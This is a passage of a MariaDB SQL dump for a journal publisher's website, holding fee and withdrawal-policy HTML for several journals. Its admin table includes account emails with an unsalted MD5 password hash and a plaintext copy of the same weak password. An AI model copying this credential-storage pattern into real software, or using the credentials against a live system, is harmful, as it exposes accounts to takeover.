/*
SQLyog Community v11.52 (64 bit)
MySQL - 10.1.32-MariaDB : Database - grf
*********************************************************************
*/

/*!40101 SET NAMES utf8 */;

/*!40101 SET SQL_MODE=''*/;

/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
CREATE DATABASE /*!32312 IF NOT EXISTS*/`grf` /*!40100 DEFAULT CHARACTER SET latin1 */;

USE `grf`;

/*Table structure for table `admin` */

DROP TABLE IF EXISTS `admin`;

CREATE TABLE `admin` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `role` varchar(45) DEFAULT NULL,
  `username` varchar(250) DEFAULT NULL,
  `name` varchar(250) DEFAULT NULL,
  `email` varchar(250) DEFAULT NULL,
  `password` varchar(250) DEFAULT NULL,
  `org_password` varchar(250) DEFAULT NULL,
  `address` varchar(250) DEFAULT NULL,
  `phone` varchar(45) DEFAULT NULL,
  `notes` varchar(250) DEFAULT NULL,
  `profile_pic` varchar(250) DEFAULT NULL,
  `status` int(11) DEFAULT '1',
  `create_at` datetime DEFAULT NULL,
  `updated_at` datetime DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=latin1;

/*Data for the table `admin` */

insert  into `admin`(`id`,`role`,`username`,`name`,`email`,`password`,`org_password`,`address`,`phone`,`notes`,`profile_pic`,`status`,`create_at`,`updated_at`) values (1,'Admin',NULL,'Administrator','admin@gmail.com','e10adc3949ba59abbe56e057f20f883e','123456','Hyd','1234567890','testing  purpose','1529212466.jpg',1,'2018-06-17 09:05:14','2018-06-17 11:01:34'),(2,NULL,NULL,NULL,'vasu@gmail.com','e10adc3949ba59abbe56e057f20f883e',NULL,NULL,NULL,NULL,NULL,1,NULL,NULL);

/*Table structure for table `article_in_process_fee` */

DROP TABLE IF EXISTS `article_in_process_fee`;

CREATE TABLE `article_in_process_fee` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `journal_id` int(11) DEFAULT NULL,
  `journal_cat_id` int(11) DEFAULT NULL,
  `table` text,
  `status` int(11) DEFAULT '1',
  `create_at` datetime DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=32 DEFAULT CHARSET=latin1;

/*Data for the table `article_in_process_fee` */

insert  into `article_in_process_fee`(`id`,`journal_id`,`journal_cat_id`,`table`,`status`,`create_at`,`update_at`,`create_by`) values (4,15,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Dentistry and Dental Ailments Journal</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-09 15:37:44','2019-01-09 18:03:46',1),(5,21,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Clinical Oncology Research Journal</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-16 11:42:29','2019-01-09 18:01:42',1),(6,23,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Current Trends in Genetics and Microbiology</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1816</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-16 11:52:22','2019-03-10 18:27:12',1),(7,16,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Annals of Medical &amp; Surgical Case Reports</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-17 20:09:49','2019-01-08 23:49:12',1),(8,17,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Annals of Pediatrics and Child Care</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-17 23:37:44','2019-01-08 23:46:47',1),(9,18,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>International Journal of Education Advancement</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p 